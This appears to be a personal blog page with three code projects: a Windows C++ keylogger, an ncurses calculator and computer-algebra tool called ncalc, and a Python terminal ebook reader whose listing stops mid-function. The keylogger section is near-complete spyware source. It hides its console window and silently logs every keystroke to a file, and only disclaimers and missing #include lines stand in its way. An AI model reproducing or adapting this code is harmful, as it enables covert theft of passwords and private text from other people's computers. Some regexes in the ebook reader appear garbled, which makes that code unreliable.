Better Keylogger

The previous keylogger I'd published had some issues.

This updated code corrects some (hopefully all) of those issues.



Namely:

  • Fixed the scope error - character was declared inside while(1) but used by the for loop
  • Removed registry functions - test_key() and create_key() were declared but never defined
  • Fixed key detection - Changed from == -32767 to proper bitmask check & 0x8000
  • Fixed letter case logic - Now properly checks shift/caps lock state for uppercase/lowercase
  • Fixed file handling - File opened once outside the loop instead of repeatedly
  • Added key repeat prevention - Prevents flooding the log with the same key held down
  • Added timestamp - Logs when the program starts


Now, this here code is meant for educational and testin' purposes only. Ain't nobody can compel a grown ass man or woman to do one way or 'nother. But, if you were to find yourself in a place where you might could think it necessary to spy on thy brethren... well... don't.

For this very reason, the makefile is not included, and I'm leaving the code incomplete intentionally.

Do not use this tool on systems you do not own or have explicit written permission to test.

Code:

main.cpp
// Simple keylogger for educational/testing purposes

//**⚠️ IMPORTANT**: This is for educational use only. Only use on systems you own or have explicit permission to test. Unauthorized keylogging is illegal in most jurisdictions.

#includes go here

#define BUFSIZE 256

int get_keys(void);

int main(void)
{
    // Hide console window
    HWND stealth = GetConsoleWindow();
    if (stealth != NULL) {
        ShowWindow(stealth, SW_HIDE);
    }

    // Set low priority so it doesn't hog CPU
    SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);

    return get_keys();
}

int get_keys(void)
{
    FILE *file = fopen("keylog.log", "a+");
    if (file == NULL) {
        return 1;
    }

    // Log start time
    SYSTEMTIME st;
    GetLocalTime(&st);
    fprintf(file, "\n--- Keylog started at %04d-%02d-%02d %02d:%02d:%02d ---\n",
            st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
    fflush(file);

    short character;
    while (1) {
        Sleep(10);  // Small delay to reduce CPU usage

        for (character = 8; character <= 222; character++) {
            // Check if key was pressed (most significant bit) and is currently down
            if (GetAsyncKeyState(character) & 0x8000) {
                // Handle printable characters (letters and numbers)
                // Letters: A-Z (65-90), need to check shift state for case
                if (character >= 'A' && character <= 'Z') {
                    // Check if shift is held
                    BOOL shift = GetAsyncKeyState(VK_SHIFT) & 0x8000;
                    BOOL caps = GetKeyState(VK_CAPITAL) & 0x0001;

                    // Determine final case
                    char c;
                    if (shift ^ caps) {
                        c = (char)character;  // uppercase
                    } else {
                        c = (char)(character + 32);  // lowercase
                    }
                    fputc(c, file);
                    fflush(file);
                }
                // Numbers and symbols (48-57)
                else if (character >= '0' && character <= '9') {
                    fputc((char)character, file);
                    fflush(file);
                }
                // Space
                else if (character == VK_SPACE) {
                    fputc(' ', file);
                    fflush(file);
                }
                // Special keys
                else {
                    switch (character) {
                        case VK_RETURN:
                            fputs("\n[ENTER]\n", file);
                            break;
                        case VK_BACK:
                            fputs("[BACKSPACE]", file);
                            break;
                        case VK_TAB:
                            fputs("[TAB]", file);
                            break;
                        case VK_SHIFT:
                        case VK_LSHIFT:
                        case VK_RSHIFT:
                            fputs("[SHIFT]", file);
                            break;
                        case VK_CONTROL:
                        case VK_LCONTROL:
                        case VK_RCONTROL:
                            fputs("[CTRL]", file);
                            break;
                        case VK_MENU:  // Alt key
                        case VK_LMENU:
                        case VK_RMENU:
                            fputs("[ALT]", file);
                            break;
                        case VK_DELETE:
                            fputs("[DEL]", file);
                            break;
                        case VK_CAPITAL:
                            fputs("[CAPS LOCK]", file);
                            break;
                        case VK_ESCAPE:
                            fputs("[ESC]", file);
                            break;
                        case VK_NUMPAD0: fputs("0", file); break;
                        case VK_NUMPAD1: fputs("1", file); break;
                        case VK_NUMPAD2: fputs("2", file); break;
                        case VK_NUMPAD3: fputs("3", file); break;
                        case VK_NUMPAD4: fputs("4", file); break;
                        case VK_NUMPAD5: fputs("5", file); break;
                        case VK_NUMPAD6: fputs("6", file); break;
                        case VK_NUMPAD7: fputs("7", file); break;
                        case VK_NUMPAD8: fputs("8", file); break;
                        case VK_NUMPAD9: fputs("9", file); break;
                        case VK_DECIMAL: fputs(".", file); break;
                        case VK_OEM_1: fputs(";", file); break;
                        case VK_OEM_2: fputs("/", file); break;
                        case VK_OEM_3: fputs("`", file); break;
                        case VK_OEM_4: fputs("[", file); break;
                        case VK_OEM_5: fputs("\\", file); break;
                        case VK_OEM_6: fputs("]", file); break;
                        case VK_OEM_7: fputs("'", file); break;
                        case VK_OEM_COMMA: fputs(",", file); break;
                        case VK_OEM_PERIOD: fputs(".", file); break;
                        case VK_OEM_MINUS: fputs("-", file); break;
                        case VK_OEM_PLUS: fputs("=", file); break;
                        default:
                            // Ignore unhandled keys
                            break;
                    }
                    fflush(file);
                }

                // Prevent rapid-fire repeats for the same key
                while (GetAsyncKeyState(character) & 0x8000) {
                    Sleep(50);
                }
            }
        }
    }

    fclose(file);
    return 0;
}

ncalc

I've been working on this project for the last few weeks.

Spending as much time on the terminal as I normally do, I'm not too fond of having to run a gui just to open a calculator for a quick check on something. And, while I know about bc and am aware that I could just issue, for example, 'echo 2*5 | bc' and it would print back '10', as expected, it's not really a solution I like.

At work, I can just open the ol' infamous MS Excel (which is really just a glorified calculator) to do whatever calculations i need and keep them visible for reference, but when not at work I don't even have Excel, so it's either startx > menu > calculator, or echo problem | bc.

Given I'm always on TTY + either GNU Screen or DVTM, I needed a better solution.

So, I took it upon myself to write something I could use.

Enter ncalc. It's a small (250k) ncurses calculator (hence the name: ncurses + calculator = ncalc) & CAS (Computer Algebra System) that works on either a TTY or a windowed terminal. It's built with C++17, ncursesw, and GiNaC, and offers symbolic computation, high-precision arithmetic, and terminal-native graphing capabilities with high-resolution Unicode Block Braille patterns.

Features:

  • Symbolic Computation, Powered by GiNaC: ncalc can handle:
    • Algebraic Solving: Solves linear and quadratic equations (e.g., `find y, y^2 = 4x`).
    • Differentiation: Standard symbolic derivatives (e.g., `diff(sin(x), x)`).
    • Partial Derivatives: Evaluate at specific points (e.g., `df/dx(1,0) where f(x,y) = x^2 + y^2`).
    • Definite Integrals: Numeric results using Simpson's Rule (e.g., `i(2,0), x^2 dx`).
  • Graphing: High-resolution rendering using Unicode Braille patterns (2x4 sub-pixel grid per character). Includes automatic X and Y axes.
  • Interactive Interface: Keyboard-centric workflow with history navigation and UTF-8 wide-character support.


This is way more than I need on a daily basis from a regular calculator. But then... I'd already started, so I figured what the hell...














Project page on GitHub

Code:

main.cpp
//ncalc - ncurses calculator & CAS
//by Jonathan Torres
//
//This program is free software: you can redistribute it and/or modify it under the terms of the 
//GNU General Public License as published by the Free Software Foundation, either version 3 of the 
//License, or (at your option) any later version.


#include <ncurses.h>
#include <ginac/ginac.h>
#include <iostream>
#include <string>
#include <vector>
#include <iomanip>
#include <sstream>
#include <cmath>
#include <cln/exception.h>
#include <clocale>
#include <algorithm>

using namespace std;
using namespace GiNaC;

//Constants & Enums
enum AppMode {
    MODE_CALCULATOR,
    MODE_GRAPH
};

#define CTRL(c) ((c) & 0x1f)

const int KEY_CTRL_G = CTRL('g');
const int KEY_CTRL_P = CTRL('p');
const int KEY_CTRL_F = CTRL('f'); // Find
const int KEY_CTRL_W = CTRL('w'); // Where
const int KEY_CTRL_E = CTRL('e');
const int KEY_CTRL_N = CTRL('n'); // Imaginary unit
const int KEY_CTRL_D = CTRL('d'); // Derivative shortcut

//Global State
AppMode current_mode = MODE_CALCULATOR;
string current_input = "";
string last_result = "";
bool has_result = false;
ex memory_val = 0;
symtab table;

struct HistoryEntry {
    string expr;
    string res;
};
vector<HistoryEntry> history;
bool history_focus = false;
int scroll_offset = 0;

//Graphing State
double g_x_min = -10.0;
double g_x_max = 10.0;
double g_y_min = -10.0;
double g_y_max = 10.0;

//Forward Declarations
string format_result(const ex &e);
void calculate();
void draw_history(WINDOW* win);
void draw_graph(WINDOW* win);
void draw_input(WINDOW* win);
void apply_zoom(double factor);
string sanitize_expr(const string& in);

/**
 * Sanitizes the input:
 * 1. Brackets [] -> ()
 * 2. Implicit multiplication
 */
string sanitize_expr(const string& in) {
    string s = in;
    for (char &c : s) {
        if (c == '[') c = '(';
        if (c == ']') c = ')';
    }
    
    string res_impl = "";
    for (size_t i = 0; i < s.length(); ++i) {
        res_impl += s[i];
        if (i + 1 < s.length()) {
            char curr = s[i];
            char next = s[i+1];
            if ((isdigit(curr) && (isalpha(next) || next == '(')) ||
                (curr == ')' && (isdigit(next) || isalpha(next)))) {
                res_impl += '*';
            }
        }
    }
    return res_impl;
}

string format_result(const ex &e) {
    if (is_a<numeric>(e)) {
        numeric n = ex_to<numeric>(e);
        if (n.is_integer()) {
            ostringstream ss;
            ss << n;
            return ss.str();
        }
        if (n.is_real()) {
            double d = n.to_double();
            if (abs(d) >= 1e10 || (abs(d) > 0 && abs(d) < 1e-4)) {
                ostringstream ss;
                ss << scientific << setprecision(6) << d;
                return ss.str();
            }
            string s = to_string(d);
            if (s.find('.') != string::npos) {
                s.erase(s.find_last_not_of('0') + 1, string::npos);
                if (s.back() == '.') s.pop_back();
            }
            return s;
        }
    }
    ostringstream ss;
    ss << e;
    return ss.str();
}

/**
 * Solves equations or simplifies expressions.
 */
void calculate() {
    if (current_input.empty()) return;
    
    string input = current_input;
    try {
        parser reader(table);
        ex final_res;
        bool found_custom = false;

        // 1. Handle "where" syntax for derivatives or general substitution
        size_t where_pos = input.find(" where ");
        if (where_pos != string::npos) {
            string lhs_part = input.substr(0, where_pos);
            if (lhs_part.find("find ") == 0) lhs_part = lhs_part.substr(5);
            string rhs_part = input.substr(where_pos + 7);
            
            if (lhs_part.find("/d") != string::npos) {
                size_t slash = lhs_part.find("/d");
                size_t paren = lhs_part.find('(', slash);
                if (slash != string::npos && paren != string::npos) {
                    string var_name = lhs_part.substr(slash + 2, paren - (slash + 2));
                    var_name.erase(remove(var_name.begin(), var_name.end(), ' '), var_name.end());
                    
                    size_t last_paren = lhs_part.find_last_of(')');
                    string pts_str = lhs_part.substr(paren + 1, last_paren - paren - 1);
                    
                    size_t eq_sign = rhs_part.find('=');
                    if (eq_sign != string::npos) {
                        string expr_str = sanitize_expr(rhs_part.substr(eq_sign + 1));
                        ex expr = reader(expr_str);
                        
                        if (table.find(var_name) != table.end()) {
                            ex diff_ex = expr.diff(ex_to<symbol>(table[var_name]));
                            
                            lst subs_list;
                            stringstream ss(pts_str);
                            string pt;
                            vector<string> var_order = {"x", "y", "z", "a", "b"};
                            int v_idx = 0;
                            while (getline(ss, pt, ',') && v_idx < (int)var_order.size()) {
                                subs_list.append(ex_to<symbol>(table[var_order[v_idx]]) == reader(sanitize_expr(pt)).evalf());
                                v_idx++;
                            }
                            final_res = diff_ex.subs(subs_list).evalf();
                            last_result = format_result(final_res);
                            found_custom = true;
                        }
                    }
                }
            }
        }
        
        // 2. Handle "find var, eq"
        if (!found_custom && input.find("find ") == 0) {
            int level = 0;
            size_t comma_pos = string::npos;
            for (size_t i = 0; i < input.length(); ++i) {
                if (input[i] == '(') level++;
                else if (input[i] == ')') level--;
                else if (input[i] == ',' && level == 0) {
                    comma_pos = i;
                    break;
                }
            }

            if (comma_pos != string::npos) {
                string var_name = input.substr(5, comma_pos - 5);
                var_name.erase(remove(var_name.begin(), var_name.end(), ' '), var_name.end());
                string eq_str = input.substr(comma_pos + 1);
                
                string sanitized_eq = sanitize_expr(eq_str);
                size_t eq_sign = sanitized_eq.find('=');
                ex eq_ex;
                if (eq_sign != string::npos) {
                    eq_ex = reader(sanitized_eq.substr(0, eq_sign)) - reader(sanitized_eq.substr(eq_sign + 1));
                } else {
                    eq_ex = reader(sanitized_eq);
                }
                
                if (table.find(var_name) == table.end()) table[var_name] = symbol(var_name);
                symbol target_var = ex_to<symbol>(table[var_name]);
                
                try {
                    final_res = lsolve(eq_ex == 0, target_var);
                    if (final_res.nops() > 0 || !is_a<lst>(final_res)) {
                        last_result = var_name + " = " + format_result(final_res.evalf());
                        found_custom = true;
                    }
                } catch (...) {
                    try {
                        // Try Quadratic formula as fallback
                        ex eq = eq_ex.expand();
                        if (eq.degree(target_var) == 2) {
                            ex a = eq.coeff(target_var, 2);
                            ex b = eq.coeff(target_var, 1);
                            ex c = eq.coeff(target_var, 0);
                            ex disc = (b*b - 4*a*c).normal();
                            ex r1 = ((-b + sqrt(disc)) / (2*a)).normal();
                            ex r2 = ((-b - sqrt(disc)) / (2*a)).normal();
                            last_result = var_name + " = {" + format_result(r1) + ", " + format_result(r2) + "}";
                            found_custom = true;
                        }
                    } catch (...) {}
                }

                if (!found_custom) {
                    // Newton's method fallback for univariate
                    try {
                        symbol x = target_var;
                        ex f = eq_ex;
                        ex df = f.diff(x);
                        vector<double> guesses = {1.0, 0.1, 10.0, -1.0, 100.0, 0.0};
                        for (double guess : guesses) {
                            double curr = guess;
                            bool converged = false;
                            for (int i = 0; i < 100; ++i) {
                                try {
                                    ex val_ex = f.subs(x == curr).evalf();
                                    ex dval_ex = df.subs(x == curr).evalf();
                                    if (is_a<numeric>(val_ex) && is_a<numeric>(dval_ex)) {
                                        double val = ex_to<numeric>(val_ex).to_double();
                                        double dval = ex_to<numeric>(dval_ex).to_double();
                                        if (abs(val) < 1e-10) { converged = true; break; }
                                        if (abs(dval) < 1e-18) break;
                                        double next_val = curr - val / dval;
                                        if (isnan(next_val) || isinf(next_val) || abs(next_val - curr) < 1e-14) {
                                            if (abs(val) < 1e-8) converged = true;
                                            break;
                                        }
                                        curr = next_val;
                                    } else break;
                                } catch (...) { break; }
                            }
                            if (converged) {
                                if (abs(curr - round(curr)) < 1e-9) curr = round(curr);
                                last_result = var_name + " ~ " + format_result(numeric(curr).evalf());
                                found_custom = true;
                                break;
                            }
                        }
                    } catch (...) {}
                }

                if (!found_custom) {
                    last_result = format_result(eq_ex.normal()) + " = 0";
                    found_custom = true;
                }
            }
        }

        // 3. Handle "i(u,l), expr dx"
        if (!found_custom && input.find("i(") == 0) {
            size_t end_paren = input.find("),");
            if (end_paren != string::npos) {
                string range = input.substr(2, end_paren - 2);
                size_t comma = range.find(',');
                double upper = ex_to<numeric>(reader(range.substr(0, comma)).evalf()).to_double();
                double lower = ex_to<numeric>(reader(range.substr(comma + 1)).evalf()).to_double();
                
                string body = input.substr(end_paren + 2);
                size_t d_pos = body.find(" d");
                string expr_str = sanitize_expr(body.substr(0, d_pos));
                string var_name = body.substr(d_pos + 2);
                var_name.erase(remove(var_name.begin(), var_name.end(), ' '), var_name.end());
                
                ex expr = reader(expr_str);
                if (table.find(var_name) == table.end()) table[var_name] = symbol(var_name);
                symbol x_sym = ex_to<symbol>(table[var_name]);
                
                // Numeric integration using Simpson's Rule
                double sum = 0;
                int n = 1000; 
                double step = (upper - lower) / n;
                try {
                    for (int j = 0; j <= n; ++j) {
                        double wx = lower + j * step;
                        double vy = ex_to<numeric>(expr.subs(x_sym == wx).evalf()).to_double();
                        if (j == 0 || j == n) sum += vy;
                        else if (j % 2 == 1) sum += 4 * vy;
                        else sum += 2 * vy;
                    }
                    double area = (step / 3.0) * sum;
                    last_result = "A = " + format_result(numeric(area));
                    found_custom = true;
                } catch (...) {
                    last_result = "Integration failed";
                }
            }
        }

        if (!found_custom) {
            string raw = sanitize_expr(input);
            size_t eq_pos = raw.find('=');
            if (eq_pos != string::npos) {
                string lhs_s = raw.substr(0, eq_pos);
                string rhs_s = raw.substr(eq_pos + 1);
                if (lhs_s == "y" || lhs_s == "f(x)") {
                    final_res = reader(rhs_s).evalf();
                    last_result = format_result(final_res);
                } else {
                    ex eq = reader(lhs_s) - reader(rhs_s);
                    last_result = format_result(eq.normal()) + " = 0";
                }
            } else {
                final_res = reader(raw).normal().evalf();
                last_result = format_result(final_res);
            }
        }

        has_result = true;
        history.push_back({current_input, last_result});
        current_input = last_result;
        
        int rows, cols; getmaxyx(stdscr, rows, cols);
        int max_entries = (rows - 5 - 2) / 2;
        scroll_offset = max(0, (int)history.size() - max_entries);

    } catch (exception &e) {
        last_result = "Error: " + string(e.what());
        has_result = false;
    } catch (...) {
        last_result = "Unknown Error";
        has_result = false;
    }
}

void draw_graph(WINDOW* win) {
    werase(win); box(win, 0, 0);
    int h, w; getmaxyx(win, h, w);
    int plot_w = w - 2, plot_h = h - 2;
    if (plot_w <= 0 || plot_h <= 0) return;

    mvwprintw(win, 0, 2, " Graph Mode: %s ", current_input.c_str());
    mvwprintw(win, h - 1, 2, " X: [%.1f, %.1f] Y: [%.1f, %.1f] ", g_x_min, g_x_max, g_y_min, g_y_max);

    int grid_w = plot_w * 2, grid_h = plot_h * 4;
    vector<vector<unsigned char>> grid(plot_h, vector<unsigned char>(plot_w, 0));

    auto set_dot = [&](int r, int c) {
        if (r >= 0 && r < grid_h && c >= 0 && c < grid_w) {
            grid[r/4][c/2] |= (unsigned char[]){0x01, 0x02, 0x04, 0x40, 0x08, 0x10, 0x20, 0x80}[(r%4) + (c%2)*4];
        }
    };

    // Axes
    if (g_y_min <= 0 && g_y_max >= 0) {
        int r = (int)((g_y_max) / (g_y_max - g_y_min) * grid_h);
        for (int c = 0; c < grid_w; ++c) set_dot(r, c);
    }
    if (g_x_min <= 0 && g_x_max >= 0) {
        int c = (int)((-g_x_min) / (g_x_max - g_x_min) * grid_w);
        for (int r = 0; r < grid_h; ++r) set_dot(r, c);
    }

    try {
        parser reader(table);
        string raw = sanitize_expr(current_input);
        size_t eq_pos = raw.find('=');
        ex func = reader(eq_pos != string::npos ? raw.substr(eq_pos + 1) : raw);
        symbol x_sym = ex_to<symbol>(table["x"]);

        double dx = (g_x_max - g_x_min) / grid_w;
        double dy = (g_y_max - g_y_min) / grid_h;

        for (int col = 0; col < grid_w; ++col) {
            double wx = g_x_min + col * dx;
            ex vy = func.subs(x_sym == wx).evalf();
            if (is_a<numeric>(vy) && ex_to<numeric>(vy).is_real()) {
                int row = (int)((g_y_max - ex_to<numeric>(vy).to_double()) / dy);
                set_dot(row, col);
            }
        }
    } catch (...) {}

    for (int r = 0; r < plot_h; ++r) {
        wmove(win, r + 1, 1);
        for (int c = 0; c < plot_w; ++c) {
            unsigned char v = grid[r][c];
            if (v == 0) waddch(win, ' ');
            else {
                char u[4] = {(char)0xE2, (char)(0xA0 + (v >> 6)), (char)(0x80 + (v & 0x3F)), 0};
                waddstr(win, u);
            }
        }
    }
    wrefresh(win);
}

void draw_history(WINDOW* win) {
    if (current_mode == MODE_GRAPH) { draw_graph(win); return; }
    werase(win); if (history_focus) wattron(win, A_REVERSE); box(win, 0, 0);
    mvwprintw(win, 0, 2, " History "); if (history_focus) wattroff(win, A_REVERSE);
    int h, w; getmaxyx(win, h, w);
    int max_e = (h - 2) / 2;
    for (int i = 0; i < max_e && (scroll_offset + i) < (int)history.size(); ++i) {
        int idx = scroll_offset + i;
        mvwprintw(win, 1 + i * 2, 2, "Exp: %s", history[idx].expr.c_str());
        mvwprintw(win, 2 + i * 2, 2, "Res: %s", history[idx].res.c_str());
    }
    wrefresh(win);
}

void draw_input(WINDOW* win) {
    werase(win); if (!history_focus) wattron(win, A_REVERSE); box(win, 0, 0);
    mvwprintw(win, 0, 2, current_mode == MODE_GRAPH ? " Graph Mode " : " Input ");
    if (!history_focus) wattroff(win, A_REVERSE);
    mvwprintw(win, 1, 2, "Exp: %s", current_input.c_str());
    if (current_mode == MODE_CALCULATOR) {
        mvwprintw(win, 2, 2, "Res: %s", last_result.c_str());
        mvwprintw(win, 3, 2, "[q] Quit | [Esc] Clear | [Ctrl+f] Find | [Ctrl+w] Where");
    } else {
        mvwprintw(win, 3, 2, "Zoom: [+/-] or [j/k] | [q] Quit | [Ctrl+g] Calc");
    }
    wrefresh(win);
}

void apply_zoom(double factor) {
    double xm = (g_x_min + g_x_max)/2, ym = (g_y_min + g_y_max)/2;
    double xh = (g_x_max - g_x_min)*factor/2, yh = (g_y_max - g_y_min)*factor/2;
    g_x_min = xm - xh; g_x_max = xm + xh; g_y_min = ym - yh; g_y_max = ym + yh;
}

void handle_input(int ch) {
    if (ch == KEY_CTRL_G) { current_mode = (current_mode == MODE_CALCULATOR ? MODE_GRAPH : MODE_CALCULATOR); return; }
    if (ch == '\t') { history_focus = !history_focus; return; }
    if (ch == KEY_CTRL_P) { current_input += "Pi"; return; }
    if (ch == KEY_CTRL_E) { current_input += "exp(1)"; return; }
    if (ch == KEY_CTRL_N) { current_input += "I"; return; }
    if (ch == KEY_CTRL_F) { current_input += "find "; return; }
    if (ch == KEY_CTRL_W) { current_input += " where "; return; }
    if (ch == KEY_CTRL_D) { current_input += "diff("; return; }

    if (current_mode == MODE_GRAPH) {
        if (ch == '+' || ch == '=' || ch == 'k' || ch == KEY_UP) { apply_zoom(0.8); return; }
        if (ch == '-' || ch == '_' || ch == 'j' || ch == KEY_DOWN) { apply_zoom(1.25); return; }
    }

    if (history_focus && current_mode == MODE_CALCULATOR) {
        int rows, cols; getmaxyx(stdscr, rows, cols);
        int max_e = (rows - 5 - 2) / 2;
        if (ch == KEY_UP && scroll_offset > 0) scroll_offset--;
        else if (ch == KEY_DOWN && scroll_offset < max(0, (int)history.size() - max_e)) scroll_offset++;
        return;
    }
    
    if (ch == '\n' || ch == KEY_ENTER) { if (current_mode == MODE_CALCULATOR) calculate(); return; }
    if (ch == KEY_BACKSPACE || ch == 127 || ch == 8) { if (!current_input.empty()) current_input.pop_back(); return; }
    if (ch == 27) { //Alt sequences
        nodelay(stdscr, TRUE); int n = getch(); nodelay(stdscr, FALSE);
        if (n == -1) { current_input = ""; last_result = ""; has_result = false; }
        else if (n == 's') current_input += "asin(";
        else if (n == 'c') current_input += "acos(";
        else if (n == 't') current_input += "atan(";
        else if (n == 'f') current_input += "f(";
        else if (n == 'u') current_input += "upper";
        else if (n == 'l') current_input += "lower";
        else if (n == 'e') current_input += "expr";
        else if (n == 'v') current_input += "dvar";
        return;
    }

    if (current_mode == MODE_CALCULATOR) {
        if (ch == 's') { current_input += "sin("; return; }
        if (ch == 'c') { current_input += "cos("; return; }
        if (ch == 't') { current_input += "tan("; return; }
        if (ch == 'i') { current_input += "i("; return; }
        if (ch == 'N') { if (!current_input.empty()) current_input = "-(" + current_input + ")"; return; }
        if (ch == 'S') { current_input += "sqrt("; return; }
        if (ch == 'Q') { current_input += "cbrt("; return; }
        if (ch == 'm') { 
            if (has_result) { try { parser r(table); memory_val = r(last_result).evalf(); } catch(...) {} }
            return; 
        }
        if (ch == 'n') { memory_val = 0; return; }
        if (ch == 'r') { current_input += format_result(memory_val); return; }
        if (ch == '%') { current_input = "(" + current_input + ")/100"; calculate(); return; }
    }

    if (ch >= ' ' && ch <= '~') current_input += (char)ch;
}

int main() {
    setlocale(LC_ALL, "");
    table["x"] = symbol("x"); table["y"] = symbol("y"); table["z"] = symbol("z");
    table["a"] = symbol("a"); table["b"] = symbol("b");
    table["upper"] = symbol("upper"); table["lower"] = symbol("lower");
    table["expr"] = symbol("expr"); table["dvar"] = symbol("dvar");
    table["Pi"] = Pi; table["I"] = I;
    initscr(); cbreak(); noecho(); keypad(stdscr, TRUE);
    #if defined(ESCDELAY)
    ESCDELAY = 25;
    #endif
    int rows, cols; getmaxyx(stdscr, rows, cols);
    int input_h = 5;
    WINDOW *h_win = newwin(rows - input_h, cols, 0, 0), *i_win = newwin(input_h, cols, rows - input_h, 0);
    keypad(i_win, TRUE);
    while (true) {
        draw_history(h_win); draw_input(i_win);
        int ch = wgetch(i_win);
        if (ch == 'q') break;
        if (ch == KEY_RESIZE) {
            getmaxyx(stdscr, rows, cols);
            wresize(h_win, rows - input_h, cols); wresize(i_win, input_h, cols);
            mvwin(i_win, rows - input_h, 0); clear();
        } else handle_input(ch);
    }
    delwin(h_win); delwin(i_win); endwin();
    return 0;
}



Makefile
#Licensed under GPL-3.0-or-later
CXX = g++
CXXFLAGS = -Wall -Wextra -std=c++17
LIBS = -lncursesw -lginac -lcln

TARGET = ncalc
SRC = main.cpp
MAN = ncalc.1

PREFIX ?= /usr/local

all: $(TARGET)

$(TARGET): $(SRC)
	$(CXX) $(CXXFLAGS) $(SRC) -o $(TARGET) $(LIBS)

install: all
	install -d $(DESTDIR)$(PREFIX)/bin
	install -m 755 $(TARGET) $(DESTDIR)$(PREFIX)/bin
	install -d $(DESTDIR)$(PREFIX)/share/man/man1
	install -m 644 $(MAN) $(DESTDIR)$(PREFIX)/share/man/man1

uninstall:
	rm -f $(DESTDIR)$(PREFIX)/bin$(TARGET)
	rm -f $(DESTDIR)$(PREFIX)/share/man/man1/$(MAN)

clean:
	rm -f $(TARGET)

.PHONY: all clean install uninstall

PyReader

I spend way too much time on the terminal...

It doesn't matter what year it is, how powerful the graphics cards become, how fast the computers... I always end up booting into a text session, and staying there for most of the things i do on the pc.

There's some tasks that require issuing the ol' startx command. One of them was reading ebooks. Granted, most of my e-reading is done on the phone or tablet, I do occasionally read on the pc, as well.

Given most of the ebooks I have are either fb2 or epub (I hate pdf, sorry not sorry), I thought it shouldn't be impossibly difficult to write an ncurses based ebook reader. I mean, it's pretty much just html, so why not? Jokes aside, I might add some code to give it pdf reading capabilities, maybe using pdftotext (from poppler-utils). I dunno.


I wrote this little ebook reader in Python 3.12.3. It works on tty, as well as on a windowed terminal, if that matters.

Key Features:
  • Supports FB2 and Epub
  • Supports library management, including multiple directories
  • Search by title, author, or book number
  • Remembers last position in each book
  • Adjusts text to terminal size
  • Navigation using arrow keys
  • Ctrl + W for search
  • Ctrl + L to add new directory to library path
  • Esc to exit current book -- Esc twice from library list to close app
  • Press q to close application
  • Books are sorted alphabetically by filename, and assigned a number, for ease of use
  • The application automatically re-scans the library on startup, to identify new files
  • Reading progress is saved automatically when the user returns to the library list
  • Long lines are automatically wrapped to fit terminal width


Library view:



Reader view:




Code: (I need to get me a github page instead)

edit: i followed my own advise and went on github:

Full Code

#!/usr/bin/env python3
"""
PyReader - An ncurses ebook reader supporting FB2 and EPUB formats.
jon.tohrs
distributed under the GNU General Public License V3 or any later version published by the Free Software Foundation.
It's free as in freedom, dude...
"""

import curses
import os
import re
import json
import zipfile
import xml.etree.ElementTree as ET
from pathlib import Path
from typing import List, Dict, Tuple, Optional, Any
import html

# Configuration file path
CONFIG_FILE = Path.home() / ".pyreader_config.json"
SUPPORTED_FORMATS = ('.fb2', '.epub')


class Book:
    """Represents a book in the library."""

    def __init__(self, filepath: str, book_id: int = 0):
        self.filepath = filepath
        self.book_id = book_id
        self.title = self._extract_title()
        self.author = self._extract_author()
        self.display_text = f"{book_id}. {self.title}"
        if self.author:
            self.display_text += f" - {self.author}"

    def _extract_title(self) -> str:
        """Extract title from book file."""
        try:
            ext = Path(self.filepath).suffix.lower()
            if ext == '.fb2':
                return self._extract_fb2_title()
            elif ext == '.epub':
                return self._extract_epub_title()
        except Exception:
            pass
        return Path(self.filepath).stem

    def _extract_author(self) -> str:
        """Extract author from book file."""
        try:
            ext = Path(self.filepath).suffix.lower()
            if ext == '.fb2':
                return self._extract_fb2_author()
            elif ext == '.epub':
                return self._extract_epub_author()
        except Exception:
            pass
        return ""

    def _extract_fb2_title(self) -> str:
        """Extract title from FB2 file."""
        tree = ET.parse(self.filepath)
        root = tree.getroot()
        ns = {'fb': 'http://www.gribuser.ru/xml/fictionbook/2.0'}
        title_elem = root.find('.//fb:book-name', ns)
        if title_elem is not None and title_elem.text:
            return title_elem.text.strip()
        title_elem = root.find('.//fb:description/fb:title-info/fb:book-title', ns)
        if title_elem is not None and title_elem.text:
            return title_elem.text.strip()
        return Path(self.filepath).stem

    def _extract_fb2_author(self) -> str:
        """Extract author from FB2 file."""
        tree = ET.parse(self.filepath)
        root = tree.getroot()
        ns = {'fb': 'http://www.gribuser.ru/xml/fictionbook/2.0'}
        author_elem = root.find('.//fb:description/fb:title-info/fb:author', ns)
        if author_elem is not None:
            first = author_elem.find('fb:first-name', ns)
            last = author_elem.find('fb:last-name', ns)
            parts = []
            if first is not None and first.text:
                parts.append(first.text)
            if last is not None and last.text:
                parts.append(last.text)
            if parts:
                return ' '.join(parts)
        return ""

    def _extract_epub_title(self) -> str:
        """Extract title from EPUB file."""
        with zipfile.ZipFile(self.filepath, 'r') as z:
            # Try to find content.opf or package.opf
            namelist = z.namelist()
            opf_path = None
            for name in namelist:
                if name.endswith('.opf'):
                    opf_path = name
                    break

            if opf_path:
                content = z.read(opf_path).decode('utf-8', errors='ignore')
                # Extract title from metadata
                match = re.search(r']*>([^<]+)', content, re.I)
                if match:
                    return html.unescape(match.group(1).strip())

        return Path(self.filepath).stem

    def _extract_epub_author(self) -> str:
        """Extract author from EPUB file."""
        with zipfile.ZipFile(self.filepath, 'r') as z:
            namelist = z.namelist()
            for name in namelist:
                if name.endswith('.opf'):
                    content = z.read(name).decode('utf-8', errors='ignore')
                    match = re.search(r']*>([^<]+)', content, re.I)
                    if match:
                        return html.unescape(match.group(1).strip())
        return ""


class BookContent:
    """Represents the content of a book."""

    def __init__(self, filepath: str):
        self.filepath = filepath
        self.pages: List[List[str]] = []
        self.total_lines = 0

    def parse(self, width: int, height: int) -> None:
        """Parse book into pages based on screen dimensions."""
        ext = Path(self.filepath).suffix.lower()

        if ext == '.fb2':
            lines = self._parse_fb2()
        elif ext == '.epub':
            lines = self._parse_epub()
        else:
            lines = ["Unsupported file format"]

        self.total_lines = len(lines)
        self._paginate(lines, width, height)

    def _parse_fb2(self) -> List[str]:
        """Parse FB2 file into lines of text."""
        lines = []
        try:
            tree = ET.parse(self.filepath)
            root = tree.getroot()
            ns = {'fb': 'http://www.gribuser.ru/xml/fictionbook/2.0'}

            # Extract all paragraphs
            for elem in root.iter():
                if elem.tag == f"{{{ns['fb']}}}p":
                    if elem.text:
                        text = elem.text.strip()
                        if text:
                            lines.append(text)
                            lines.append("")  # Empty line after paragraph
                elif elem.tag == f"{{{ns['fb']}}}title":
                    if elem.text:
                        text = elem.text.strip()
                        if text:
                            lines.append(f"*** {text} ***")
                            lines.append("")
                elif elem.tag == f"{{{ns['fb']}}}subtitle":
                    if elem.text:
                        text = elem.text.strip()
                        if text:
